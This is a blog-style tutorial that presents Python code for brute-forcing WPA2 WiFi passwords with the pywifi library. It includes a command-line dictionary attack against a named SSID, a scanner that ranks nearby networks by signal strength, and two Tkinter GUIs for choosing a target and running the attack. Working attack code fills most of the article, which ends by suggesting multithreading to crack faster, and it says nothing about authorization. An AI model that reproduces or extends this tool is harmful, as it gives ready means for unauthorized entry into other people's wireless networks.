Information Security 19 min read

Python Scripts for WiFi Password Brute‑Force Cracking – Command‑Line and Tkinter GUI Implementations

This article demonstrates how to build a Python‑based WiFi password brute‑force tool, first using a command‑line script that reads passwords from a dictionary and attempts connections, then enhancing it with scanning, flexible dictionary selection, and finally providing both a simple and an upgraded Tkinter graphical user interface for interactive cracking.

Laravel Tech Community
Laravel Tech Community
Laravel Tech Community
Python Scripts for WiFi Password Brute‑Force Cracking – Command‑Line and Tkinter GUI Implementations

The article introduces a step‑by‑step guide for creating a WiFi password cracking tool in Python. It begins with a pure command‑line script that imports pywifi , defines wifiConnect(pwd) to attempt a connection, reads passwords from pwd.txt , and reports success or failure.

import pywifi
from pywifi import const
import time
import datetime
# Test connection, return result
def wifiConnect(pwd):
wifi = pywifi.PyWiFi()
ifaces = wifi.interfaces()[0]
ifaces.disconnect()
time.sleep(1)
wifistatus = ifaces.status()
if wifistatus == const.IFACE_DISCONNECTED:
profile = pywifi.Profile()
profile.ssid = "Tr0e"
profile.auth = const.AUTH_ALG_OPEN
profile.akm.append(const.AKM_TYPE_WPA2PSK)
profile.cipher = const.CIPHER_TYPE_CCMP
profile.key = pwd
ifaces.remove_all_network_profiles()
tep_profile = ifaces.add_network_profile(profile)
ifaces.connect(tep_profile)
time.sleep(2)
if ifaces.status() == const.IFACE_CONNECTED:
return True
else:
return False
else:
print("已有wifi连接")
# Read password dictionary
def readPassword():
success = False
print("****************** WIFI破解 ******************")
path = "pwd.txt"
file = open(path, "r")
start = datetime.datetime.now()
while True:
try:
pwd = file.readline().strip('\n')
bool = wifiConnect(pwd)
if bool:
print("[*] 密码已破解:", pwd)
print("[*] WiFi已自动连接!!!")
success = True
break
else:
print("正在破解 SSID 为 %s 的 WIFI密码,当前校验的密码为:%s" % ("Tr0e", pwd))
except:
continue
end = datetime.datetime.now()
if(success):
print("[*] 本次破解WIFI密码一共用了多长时间:{}".format(end - start))
else:
print("[*] 很遗憾未能帮你破解出当前指定WIFI的密码,请更换密码字典后重新尝试!")
exit(0)
if __name__=="__main__":
readPassword()

After presenting the basic script, the article adds an optimized version that first scans nearby WiFi networks, displays them sorted by signal strength, and lets the user choose a target SSID. The scanning function wifi_scan() uses interface.scan() and processes scan_results() to build a sorted list.

import pywifi
import time
from pywifi import const
# WiFi scanning module
def wifi_scan():
wifi = pywifi.PyWiFi()
interface = wifi.interfaces()[0]
interface.scan()
for i in range(4):
time.sleep(1)
print('\r扫描可用 WiFi 中,请稍后。。。(' + str(3 - i), end=')')
print('\r扫描完成!\n' + '-' * 38)
print('\r{:4}{:6}{}'.format('编号', '信号强度', 'wifi名'))
bss = interface.scan_results()
wifi_name_set = set()
for w in bss:
wifi_name_and_signal = (100 + w.signal, w.ssid.encode('raw_unicode_escape').decode('utf-8'))
wifi_name_set.add(wifi_name_and_signal)
wifi_name_list = sorted(list(wifi_name_set), key=lambda a: a[0], reverse=True)
num = 0
while num < len(wifi_name_list):
print('\r{:<6d}{:<8d}{}'.format(num, wifi_name_list[num][0], wifi_name_list[num][1]))
num += 1
print('-' * 38)
return wifi_name_list

The cracking logic is then wrapped in wifi_password_crack(wifi_name) , which reads a user‑specified dictionary, creates a profile for each password, attempts a connection, and stops as soon as the interface reports a successful connection.

To make the tool more user‑friendly, the article provides two graphical interfaces built with Tkinter.

Simple Tkinter UI

from tkinter import *
from pywifi import const
import pywifi, time
# Core connection function
def wificonnect(str, wifiname):
wifi = pywifi.PyWiFi()
ifaces = wifi.interfaces()[0]
ifaces.disconnect()
time.sleep(1)
if ifaces.status() == const.IFACE_DISCONNECTED:
profile = pywifi.Profile()
profile.ssid = wifiname
profile.akm.append(const.AKM_TYPE_WPA2PSK)
profile.key = str
profile.auth = const.AUTH_ALG_OPEN
profile.cipher = const.CIPHER_TYPE_CCMP
ifaces.remove_all_network_profiles()
tep_profile = ifaces.add_network_profile(profile)
ifaces.connect(tep_profile)
time.sleep(3)
return ifaces.status() == const.IFACE_CONNECTED
else:
return False
# Read passwords and update UI
def readPwd():
wifiname = entry.get().strip()
file = open(r'./pwd.txt', 'r')
while True:
try:
mystr = file.readline().strip()
bool = wificonnect(mystr, wifiname)
if bool:
text.insert(END, '密码正确' + mystr)
file.close(); break
else:
text.insert(END, '密码错误' + mystr)
except:
continue
# Build window
root = Tk()
root.title('wifi破解')
root.geometry('500x400')
label = Label(root, text='输入要破解的WIFI名称:')
label.grid()
entry = Entry(root, font=('微软雅黑', 14))
entry.grid(row=0, column=1)
text = Listbox(root, font=('微软雅黑', 14), width=40, height=10)
text.grid(row=1, columnspan=2)
button = Button(root, text='开始破解', width=20, height=2, command=readPwd)
button.grid(row=2, columnspan=2)
root.mainloop()

Upgraded Tkinter UI with Treeview

from tkinter import *
from tkinter import ttk
import pywifi, tkinter.filedialog, tkinter.messagebox
from pywifi import const
class MY_GUI():
def __init__(self, init_window_name):
self.init_window_name = init_window_name
self.get_value = StringVar()
self.get_wifi_value = StringVar()
self.get_wifimm_value = StringVar()
self.wifi = pywifi.PyWiFi()
self.iface = self.wifi.interfaces()[0]
self.iface.disconnect()
time.sleep(1)
def set_init_window(self):
self.init_window_name.title("WIFI破解工具")
self.init_window_name.geometry('+500+200')
labelframe = LabelFrame(width=400, height=200, text="配置")
labelframe.grid(column=0, row=0, padx=10, pady=10)
Button(labelframe, text="搜索附近WiFi", command=self.scans_wifi_list).grid(column=0, row=0)
Button(labelframe, text="开始破解", command=self.readPassWord).grid(column=1, row=0)
# ... (other widgets for path, SSID, password) ...
self.wifi_labelframe = LabelFrame(text="wifi列表")
self.wifi_labelframe.grid(column=0, row=3, columnspan=4, sticky=NSEW)
self.wifi_tree = ttk.Treeview(self.wifi_labelframe, show="headings", columns=("a","b","c","d"))
self.vbar = ttk.Scrollbar(self.wifi_labelframe, orient=VERTICAL, command=self.wifi_tree.yview)
self.wifi_tree.configure(yscrollcommand=self.vbar.set)
self.wifi_tree.column("a", width=50, anchor="center")
self.wifi_tree.column("b", width=100, anchor="center")
self.wifi_tree.column("c", width=100, anchor="center")
self.wifi_tree.column("d", width=100, anchor="center")
self.wifi_tree.heading("a", text="WiFiID")
self.wifi_tree.heading("b", text="SSID")
self.wifi_tree.heading("c", text="BSSID")
self.wifi_tree.heading("d", text="signal")
self.wifi_tree.grid(row=4, column=0, sticky=NSEW)
self.wifi_tree.bind("
", self.onDBClick)
self.vbar.grid(row=4, column=1, sticky=NS)
def scans_wifi_list(self):
print("^_^ 开始扫描附近wifi...")
self.iface.scan()
time.sleep(15)
scanres = self.iface.scan_results()
self.show_scans_wifi_list(scanres)
return scanres
def show_scans_wifi_list(self, scans_res):
for index, wifi_info in enumerate(scans_res):
self.wifi_tree.insert("", 'end', values=(index+1, wifi_info.ssid, wifi_info.bssid, wifi_info.signal))
def add_mm_file(self):
self.filename = tkinter.filedialog.askopenfilename()
self.get_value.set(self.filename)
def onDBClick(self, event):
self.sels = event.widget.selection()
self.get_wifi_value.set(self.wifi_tree.item(self.sels, "values")[1])
def readPassWord(self):
pwdfilehander = open(self.get_value.get(), "r", errors="ignore")
while True:
try:
self.pwdStr = pwdfilehander.readline()
if not self.pwdStr: break
self.bool1 = self.connect(self.pwdStr, self.get_wifi_value.get())
if self.bool1:
tkinter.messagebox.showinfo('提示', '破解成功!!!')
break
else:
print("[*] 密码错误!wifi名:%s,匹配密码:%s" % (self.get_wifi_value.get(), self.pwdStr))
time.sleep(3)
except:
continue
def connect(self, pwd_Str, wifi_ssid):
self.profile = pywifi.Profile()
self.profile.ssid = wifi_ssid
self.profile.auth = const.AUTH_ALG_OPEN
self.profile.akm.append(const.AKM_TYPE_WPA2PSK)
self.profile.cipher = const.CIPHER_TYPE_CCMP
self.profile.key = pwd_Str
self.iface.remove_all_network_profiles()
self.tmp_profile = self.iface.add_network_profile(self.profile)
self.iface.connect(self.tmp_profile)
time.sleep(5)
isOK = self.iface.status() == const.IFACE_CONNECTED
self.iface.disconnect()
time.sleep(1)
assert self.iface.status() in [const.IFACE_DISCONNECTED, const.IFACE_INACTIVE]
return isOK
def gui_start():
init_window = Tk()
ui = MY_GUI(init_window)
ui.set_init_window()
init_window.mainloop()
if __name__ == "__main__":
gui_start()

The concluding section notes that both scripts lack multithreading, which would reduce the waiting time caused by the 3‑5 second WiFi connection attempts, and suggests that adding threads is a practical improvement.

cliGUIPythonWiFiinformation securityTkinterpassword cracking
Laravel Tech Community
Written by

Laravel Tech Community

Specializing in Laravel development, we continuously publish fresh content and grow alongside the elegant, stable Laravel framework.

0 followers
Reader feedback

How this landed with the community

login Sign in to like

Rate this article

Was this worth your time?

Sign in to rate
Discussion

0 Comments

Thoughtful readers leave field notes, pushback, and hard-won operational detail here.